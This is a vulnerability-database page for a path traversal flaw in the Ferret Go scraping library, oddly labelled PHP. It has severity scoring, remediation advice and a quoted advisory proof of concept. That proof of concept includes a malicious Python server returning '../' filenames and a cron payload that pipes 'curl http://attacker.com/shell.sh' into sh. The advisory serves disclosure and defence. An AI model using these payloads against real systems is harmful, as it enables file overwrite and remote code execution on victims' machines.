Skip to main content

PHP CVE-2026-34783

| EUVDEUVD-2026-19353 HIGH
Path Traversal (CWE-22)
2026-04-01 https://github.com/MontFerret/ferret GHSA-j6v5-g24h-vg4j
8.1
CVSS 3.1 · Vendor: https://github.com/MontFerret/ferret
View

Attack ChainAIDerived

Hypothetical attack flow derived from CVE metadata – not a confirmed exploit chain

  1. Access
    Host malicious website
  2. Delivery
    Operator scrapes site with Ferret
  3. Exploit
    Filenames contain ../ sequences
  4. Execution
    IO::FS::WRITE writes to arbitrary paths
  5. Impact
    Attacker achieves RCE

Vulnerability Assessment

Weakness
CWE
OWASP Top 10:2025
A01:2025 - Broken Access Control
ASVS 5.0
V5 - File Handling Path canonicalization, traversal prevention
MITRE ATT&CK

2 techniques across 2 tactics: Discovery, Collection

The technique list with ATT&CK links and the kill-chain view is part of the Basic plan and up.

Exploitation Conditions

Ferret operator must actively scrape attacker-controlled website and use returned filenames directly in IO::FS::WRITE output paths without sanitization. Requires user interaction (scraping action). No authentication required.

Impact

Real-world risk is moderate-to-high for organizations using Ferret in automated scraping pipelines against untrusted sources. The CVSS vector AV:N/AC:L/PR:N/UI:R (8.1) accurately reflects that while network-exploitable with low complexity and no authentication, user interaction is required-an operator must run a scraping script against the malicious site. The UI:R requirement substantially reduces automated exploitation potential compared to server-side vulnerabilities. However, the integrity (I:H) and availability (A:H) impacts are justified: arbitrary file write enables full system compromise via cron jobs, SSH keys, or shell profiles. The exploit scenario is realistic for bug bounty hunters, competitive intelligence operations, or supply-chain attacks targeting data science teams. SSVC decision factors: Exploitation status shows proof-of-concept exists (detailed Python server and FQL script provided in advisory), automatable=no (requires victim to scrape attacker's site), technical impact=total (RCE achievable). No EPSS data available, but the narrow attack surface (victims must use Ferret to scrape untrusted sites) and proof-of-concept complexity suggest lower probability than server-side RCEs. Priority: High for Ferret users scraping external content, Low for isolated research environments or trusted-source-only deployments. The vendor patch availability and narrow affected product base (single Go package) favor rapid remediation over prolonged exposure.

Exploit ScenarioDerived

A data analytics team deploys Ferret to scrape competitor pricing data from multiple e-commerce APIs daily via cron. An attacker compromises one vendor's API or registers a lookalike domain, responding to Ferret's HTTP requests with JSON containing product records where filenames include '../../etc/cron.d/exfil' instead of normal 'product-12345.json'. The Ferret script concatenates '/var/scr

This Week Schedule remediation this week. Why: HIGH severity (CVSS 7.0-8.9).
Patch available 0.2% exploitation probability (EPSS)

Get an e-mail when this CVE is exploited, patched or re-scored. Free account.

Alert me

AnalysisAIv1 – Apr 02, 2026

Path traversal in Ferret's IO::FS::WRITE and IO::FS::READ functions enables remote code execution when web scraping operators process attacker-controlled filenames. The vulnerability affects github.com/MontFerret/ferret (all v2.x and earlier versions), allowing malicious websites to write arbitrary files outside intended directories by injecting '../' sequences into filenames returned via scraped content. Attackers can achieve RCE by writing to /etc/cron.d/, ~/.ssh/authorized_keys, shell profile

Earlier versions of this analysis (1)
v1 Apr 02, 2026 - 00:15 CVSS 8.1

Path traversal in Ferret's IO::FS::WRITE and IO::FS::READ functions enables remote code execution when web scraping operators process attacker-controlled filenames. The vulnerability affects github.com/MontFerret/ferret (all v2.x and earlier versions), allowing malicious websites to write arbitrary files outside intended directories by injecting '../' sequences into filenames returned via scraped content. Attackers can achieve RCE by writing to /etc/cron.d/, ~/.ssh/authorized_keys, shell profiles, or web server directories. Vendor-released patch available via commit 160ebad6bd50f153453e120f6d909f5b83322917. CVSS 8.1 (High) reflects network attack vector with low complexity requiring user interaction. No public exploit identified at time of analysis beyond the proof-of-concept in the GitHub advisory, and not listed in CISA KEV.

RemediationAI

Vendor-released patch available via GitHub commit 160ebad6bd50f153453e120f6d909f5b83322917 (https://github.com/MontFerret/ferret/commit/160ebad6bd50f153453e120f6d909f5b83322917). Users should update their go.mod dependency to reference the patched commit or later release: 'go get github.com/MontFerret/ferret@160ebad6b' then rebuild applications. The patch implements path sanitization rejecting traversal sequences and enforcing base directory constraints in IO::FS::WRITE and IO::FS::READ. Until patching, implement workarounds: validate all scraped filenames against an allowlist of safe characters (alphanumeric, dash, underscore only) before passing to IO::FS functions; use filepath.Base() to strip directory components from scraped names; or implement application-level jailing by verifying resolved paths with filepath.EvalSymlinks remain within intended output directories. Do not rely on Ferret's PATH::CLEAN or PATH::JOIN as they normalize rather than block traversal. For high-risk environments, consider sandboxing Ferret processes with restricted filesystem access via containers, AppArmor, or SELinux policies limiting write permissions to designated output directories only. Full technical details and proof-of-concept in advisory https://github.com/advisories/GHSA-j6v5-g24h-vg4j.

Affected VersionsENISA

ferret < 2.0.0-alpha.4

Affected Packages

go github.com/montferret/ferret no fix
go github.com/montferret/ferret/v2 fix: 2.0.0-alpha.4
euvd ferret fix: 2.0.0-alpha.4

Source: OSV (Open Source Vulnerabilities)

Affects your stack

Affects 3 packages in go, euvd

Checking this CVE against your own stacks and servers is part of the Basic plan and up.

Technical ContextAI · show details

Ferret is a Go-based web scraping query language (FQL) that provides filesystem I/O primitives. The vulnerable code in pkg/stdlib/io/fs/write.go and read.go passes user-supplied paths directly to Go's os.OpenFile and os.ReadFile without canonicalization or boundary enforcement. When FQL scripts concatenate scraped data into file paths (e.g., '/tmp/output/' + scraped_filename), attackers can inject traversal sequences that os.OpenFile resolves relative to the filesystem root. This is a classic CWE-22 (Improper Limitation of a Pathname to a Restricted Directory) implementation flaw. Unlike web application path traversal, this occurs in a CLI scraping context where operators reasonably expect to use remote filenames as-is. Ferret's PATH::CLEAN and PATH::JOIN functions use Go's path package (URL-style paths) rather than path/filepath, so they normalize '../' sequences instead of rejecting them, providing no protection. The vulnerability exists because Go's filepath operations resolve symbolic paths without access control enforcement-filepath.Join('/output', '../../etc/cron.d/evil') legitimately produces '/etc/cron.d/evil' at the OS level.

Know when PHP gets its next vulnerability

  • Watch products and get an email when something new is published
  • Check this CVE against your own stack and servers
  • Exploit and PoC references, threat intelligence from 22 sources

No credit card · 7-day full trial

Severity by source

Vendor (https://github.com/MontFerret/ferret) PRIMARY 8.1 HIGH
AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:H/A:H
SUSE HIGH

Primary rating from Vendor (https://github.com/MontFerret/ferret).

CVSS VectorVendor: https://github.com/MontFerret/ferret

Attack Vector
Network
Attack Complexity
Low
Privileges Required
None
User Interaction
Required
Scope
Unchanged
Confidentiality
None
Integrity
High
Availability
High

Lifecycle Timeline

2
Patch released
Apr 02, 2026 - 00:15 nvd
Patch available
CVE Published
Apr 01, 2026 - 23:37 nvd
HIGH 8.1

DescriptionCVE.org

Summary

A path traversal vulnerability in Ferret's IO::FS::WRITE standard library function allows a malicious website to write arbitrary files to the filesystem of the machine running Ferret. When an operator scrapes a website that returns filenames containing ../ sequences, and uses those filenames to construct output paths (a standard scraping pattern), the attacker controls both the destination path and the file content. This can lead to remote code execution via cron jobs, SSH authorized_keys, shell profiles, or web shells.

Exploitation

The attacker hosts a malicious website. The victim is an operator running Ferret to scrape it. The operator writes a standard scraping query that saves scraped files using filenames from the website -- a completely normal and expected pattern.

Attack Flow

  1. The attacker serves a JSON API with crafted filenames containing ../ traversal:
json
[
  {"name": "legit-article", "content": "Normal content."},
  {"name": "../../etc/cron.d/evil", "content": "* * * * * root curl http://attacker.com/shell.sh | sh\n"}
]
  1. The victim runs a standard scraping script:
fql
LET response = IO::NET::HTTP::GET({url: "http://evil.com/api/articles"})
LET articles = JSON_PARSE(TO_STRING(response))

FOR article IN articles
    LET path = "/tmp/ferret_output/" + article.name + ".txt"
    IO::FS::WRITE(path, TO_BINARY(article.content))
    RETURN { written: path, name: article.name }
  1. FQL string concatenation produces: /tmp/ferret_output/../../etc/cron.d/evil.txt
  2. os.OpenFile resolves ../.. and writes to /etc/cron.d/evil.txt -- outside the intended output directory
  3. The attacker achieves arbitrary file write with controlled content, leading to code execution.

Realistic Targets

Target PathImpact
/etc/cron.d/<name>Command execution via cron
~/.ssh/authorized_keysSSH access to the machine
~/.bashrc or ~/.profileCommand execution on next login
/var/www/html/<name>.phpWeb shell
Application config filesCredential theft, privilege escalation

Proof of Concept

Files

Three files are provided in the poc/ directory:

evil_server.py -- Malicious web server returning traversal payloads:

python
"""Malicious server that returns filenames with path traversal."""
import json
from http.server import HTTPServer, BaseHTTPRequestHandler

class EvilHandler(BaseHTTPRequestHandler):
    def do_GET(self):
        if self.path == "/api/articles":
            self.send_response(200)
            self.send_header("Content-Type", "application/json")
            self.end_headers()
            payload = [
                {"name": "legit-article",
                 "content": "This is a normal article."},
                {"name": "../../tmp/pwned",
                 "content": "ATTACKER_CONTROLLED_CONTENT\n"
                            "
# * * * * * root curl http://attacker.com/shell.sh | sh\n"},
            ]
            self.wfile.write(json.dumps(payload).encode())
        else:
            self.send_response(404)
            self.end_headers()

if __name__ == "__main__":
    server = HTTPServer(("0.0.0.0", 9444), EvilHandler)
    print("Listening on :9444")
    server.serve_forever()

scrape.fql -- Innocent-looking Ferret scraping script:

fql
LET response = IO::NET::HTTP::GET({url: "http://127.0.0.1:9444/api/articles"})
LET articles = JSON_PARSE(TO_STRING(response))

FOR article IN articles
    LET path = "/tmp/ferret_output/" + article.name + ".txt"
    LET data = TO_BINARY(article.content)
    IO::FS::WRITE(path, data)
    RETURN { written: path, name: article.name }

run_poc.sh -- Orchestration script (expects the server to be running separately):

bash
#!/bin/bash
set -e
SCRIPT_DIR="$(cd "$(dirname "$0")" && pwd)"
REPO_ROOT="$(cd "$SCRIPT_DIR/.." && pwd)"
FERRET="$REPO_ROOT/bin/ferret"

echo "=== Ferret Path Traversal PoC ==="
[ ! -f "$FERRET" ] && (cd "$REPO_ROOT" && go build -o ./bin/ferret ./test/e2e/cli.go)

rm -rf /tmp/ferret_output && rm -f /tmp/pwned.txt && mkdir -p /tmp/ferret_output

echo "[*] Running scrape script..."
"$FERRET" "$SCRIPT_DIR/scrape.fql" 2>/dev/null || true

if [ -f "/tmp/pwned.txt" ]; then
    echo "[!] VULNERABILITY CONFIRMED: /tmp/pwned.txt written OUTSIDE output directory"
    cat /tmp/pwned.txt
fi

Reproduction Steps

bash
# Terminal 1: start malicious server
python3 poc/evil_server.py
# Terminal 2: build and run
go build -o ./bin/ferret ./test/e2e/cli.go
bash poc/run_poc.sh
# Verify: /tmp/pwned.txt exists outside /tmp/ferret_output/
cat /tmp/pwned.txt

Observed Output

=== Ferret Path Traversal PoC ===

[*] Running innocent-looking scrape script...

[{"written":"/tmp/ferret_output/legit-article.txt","name":"legit-article"},
 {"written":"/tmp/ferret_output/../../tmp/pwned.txt","name":"../../tmp/pwned"}]

=== Results ===

[*] Files in intended output directory (/tmp/ferret_output/):
-rw-r--r--  1 user user  46 Mar 27 18:23 legit-article.txt

[!] VULNERABILITY CONFIRMED: /tmp/pwned.txt exists OUTSIDE the output directory!

    Contents:
    ATTACKER_CONTROLLED_CONTENT
# * * * * * root curl http://attacker.com/shell.sh | sh

Suggested Fix

Option 1: Reject path traversal in IO::FS::WRITE and IO::FS::READ

Resolve the path and verify it doesn't contain .. after cleaning:

go
func safePath(userPath string) (string, error) {
    cleaned := filepath.Clean(userPath)
    if strings.Contains(cleaned, "..") {
        return "", fmt.Errorf("path traversal detected: %q", userPath)
    }
    return cleaned, nil
}

Option 2: Base directory enforcement (stronger)

Add an optional base directory that FS operations are jailed to:

go
func safePathWithBase(base, userPath string) (string, error) {
    absBase, _ := filepath.Abs(base)
    full := filepath.Join(absBase, filepath.Clean(userPath))
    resolved, err := filepath.EvalSymlinks(full)
    if err != nil {
        return "", err
    }
    if !strings.HasPrefix(resolved, absBase+string(filepath.Separator)) {
        return "", fmt.Errorf("path %q escapes base directory %q", userPath, base)
    }
    return resolved, nil
}

Root Cause

IO::FS::WRITE in pkg/stdlib/io/fs/write.go passes user-supplied file paths directly to os.OpenFile with no sanitization:

go
file, err := os.OpenFile(string(fpath), params.ModeFlag, 0666)

There is no:

  • Path canonicalization (filepath.Clean, filepath.Abs, filepath.EvalSymlinks)
  • Base directory enforcement (checking the resolved path stays within an intended directory)
  • Traversal sequence rejection (blocking .. components)
  • Symlink resolution

The same issue exists in IO::FS::READ (pkg/stdlib/io/fs/read.go):

go
data, err := os.ReadFile(path.String())

The PATH::CLEAN and PATH::JOIN standard library functions do not mitigate this because they use Go's path package (URL-style paths), not path/filepath, and even path.Join("/output", "../../etc/cron.d/evil") resolves to /etc/cron.d/evil -- it normalizes the traversal rather than blocking it.

Executive ViewAI

Why It Matters

Ferret web scraping library versions 2.x and earlier contain a critical path traversal vulnerability that allows remote code execution when processing untrusted website content. Organizations using Ferret to scrape external websites face immediate risk of arbitrary file writes and system compromise if attackers control scraped content. This requires urgent patching across all Ferret deployments.

Business Impact: High
Compensating Controls

Apply vendor patch. If immediate patching is not possible: (1) restrict Ferret scraping to internal/trusted websites only; (2) implement strict file path whitelisting in IO::FS::WRITE and IO::FS::READ operations to reject any paths containing '../' sequences; (3) run Ferret processes with minimal filesystem permissions (dedicated user/container with restricted directory access); (4) monitor cron.d, SSH authorized_keys, and web directories for unauthorized modifications.

Threat Intelligence Overview

EPSS Score
0.2%
Top 64% exploitable
Threat Intel
1
1 source
Data Quality
8 sources
Confidence: High
EUVD NVD CVE.org EPSS Vulnrichment GHSA Vendor GitHub VulDB

How this decision was reached

The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.

SignalValue
Severity HIGH
CISA KEV No
Public POC No
EPSS 0.2%
Patch available Yes
Active threat No
Deciding rule
HIGH severity (CVSS 7.0-8.9)
What every action level means
Emergency Immediate action required. Criteria: CRITICAL + in CISA KEV (actively exploited) without patch, OR CRITICAL + EPSS > 30% without patch, OR CRITICAL + active threat signals without patch.
Act Now Prioritize within 24-48h. Criteria: in KEV with patch available, OR CRITICAL + public POC, OR HIGH + EPSS > 10%, OR CRITICAL + active threat, OR any CRITICAL severity.
This Week Schedule remediation this week. Criteria: HIGH severity (CVSS 7.0-8.9). Patch within normal change window.
This Month Plan within 30 days. Criteria: MEDIUM severity (CVSS 4.0-6.9), lower exploitation probability. Include in regular patch cycle.
Monitor Track and reassess. Criteria: LOW severity (CVSS 0.1-3.9), minimal exploitation risk. No immediate action needed.

SSVC AssessmentENISA

SSVC Decision
Scheduled
Exploitation
Poc
System Exposure· derived
Open
Automatable
No
Human Impact
High
Technical Impact
Total

Priority Score

40
Low Medium High Critical
KEV: 0
EPSS: 0
CVSS: +40
PoC: 0
Weaponized: 0
Threat intel: 0
Gov advisory: 0

Attack Technique

Privilege escalation occurs when an attacker leverages flaws in access control mechanisms to gain permissions beyond what they were originally granted.

Path traversal exploits occur when applications use user-controlled input to construct file system paths without proper validation.

Remote Code Execution represents the critical moment when an attacker successfully runs arbitrary code on a target system without physical access.

More in PHP

View all
CVE-2019-11043 CRITICAL POC
9.8 Oct 28

In PHP versions 7.1.x below 7.1.33, 7.2.x below 7.2.24 and 7.3.x below 7.3.11 in certain configurations of FPM setup it

CVE-2012-1823 CRITICAL POC
9.8 May 11

sapi/cgi/cgi_main.c in PHP before 5.3.12 and 5.4.x before 5.4.2, when configured as a CGI script (aka php-cgi), does not

CVE-2016-1555 CRITICAL POC
9.8 Apr 21

(1) boardData102.php, (2) boardData103.php, (3) boardDataJP.php, (4) boardDataNA.php, and (5) boardDataWW.php in Netgear

CVE-2018-11138 CRITICAL POC
9.8 May 31

The '/common/download_agent_installer.php' script in the Quest KACE System Management Appliance 8.0.318 is accessible by

CVE-2024-11680 CRITICAL POC
9.8 Nov 26

ProjectSend versions prior to r1720 are affected by an improper authentication vulnerability. Rated critical severity (C

CVE-2025-49113 CRITICAL POC
9.9 Jun 02

Roundcube Webmail contains a critical PHP object deserialization vulnerability (CVE-2025-49113, CVSS 9.9) that allows au

CVE-2017-9841 CRITICAL POC
9.8 Jun 27

Util/PHP/eval-stdin.php in PHPUnit before 4.8.28 and 5.x before 5.6.3 allows remote attackers to execute arbitrary PHP c

CVE-2025-0108 HIGH POC
8.8 Feb 12

Palo Alto Networks PAN-OS management web interface contains an authentication bypass allowing unauthenticated attackers

CVE-2021-25298 HIGH POC
8.8 Feb 15

Nagios XI version xi-5.7.5 is affected by OS command injection. Rated high severity (CVSS 8.8), this vulnerability is re

CVE-2021-25296 HIGH POC
8.8 Feb 15

Nagios XI version xi-5.7.5 is affected by OS command injection. Rated high severity (CVSS 8.8), this vulnerability is re

CVE-2013-4983 CRITICAL POC
10.0 Sep 10

The get_referers function in /opt/ws/bin/sblistpack in Sophos Web Appliance before 3.7.9.1 and 3.8 before 3.8.1.1 allows

CVE-2023-6553 CRITICAL POC
9.8 Dec 15

The Backup Migration plugin for WordPress is vulnerable to Remote Code Execution in all versions up to, and including, 1

Vendor StatusVendor

SUSE

Severity: Important
Product Status
SUSE Linux Enterprise Server 16.1 Affected
SUSE Linux Enterprise Server for SAP applications 16.1 Affected

This site uses cookies essential for authentication and security. No tracking or analytics cookies are used. Privacy Policy